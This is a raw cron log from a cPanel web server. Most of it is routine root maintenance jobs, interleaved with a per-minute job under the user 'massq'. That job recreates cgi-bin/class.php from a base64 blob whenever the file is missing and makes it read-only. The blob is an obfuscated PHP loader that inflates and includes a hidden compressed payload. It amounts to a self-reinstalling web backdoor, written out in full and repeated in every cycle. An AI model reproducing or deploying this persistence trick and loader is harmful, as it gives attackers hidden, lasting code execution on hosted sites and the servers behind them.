Sep  2 08:56:01 server CROND[9115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:56:01 server CROND[9116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:56:01 server CROND[9117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:57:01 server CROND[9686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:57:01 server CROND[9688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:57:01 server CROND[9687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:57:01 server CROND[9689]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:58:01 server CROND[10083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:58:01 server CROND[10084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:58:01 server CROND[10085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:59:01 server CROND[10469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:59:01 server CROND[10470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:59:01 server CROND[10471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:00:01 server CROND[10877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:00:01 server CROND[10878]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:00:01 server CROND[10883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:00:01 server CROND[10885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:00:01 server CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:00:01 server CROND[10889]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 09:00:01 server CROND[10890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:00:01 server CROND[10893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:00:01 server CROND[10886]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  2 09:00:01 server CROND[10888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:01:01 server CROND[11783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:01:01 server CROND[11784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:01:01 server CROND[11785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:01:01 server CROND[11786]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 09:01:01 server run-parts(/etc/cron.hourly)[11786]: starting 0anacron
Sep  2 09:01:01 server run-parts(/etc/cron.hourly)[11806]: finished 0anacron
Sep  2 09:02:01 server CROND[12195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:02:01 server CROND[12196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:02:01 server CROND[12197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:03:01 server CROND[12574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:03:01 server CROND[12575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:03:01 server CROND[12576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:04:02 server CROND[12951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:04:02 server CROND[12953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:04:02 server CROND[12952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:05:01 server CROND[13339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:05:01 server CROND[13341]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:05:01 server CROND[13343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:05:01 server CROND[13346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:05:01 server CROND[13347]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:05:01 server CROND[13348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:05:01 server CROND[13350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:05:01 server CROND[13345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:06:01 server CROND[14206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:06:01 server CROND[14207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:06:01 server CROND[14208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:07:01 server CROND[14678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:07:01 server CROND[14680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
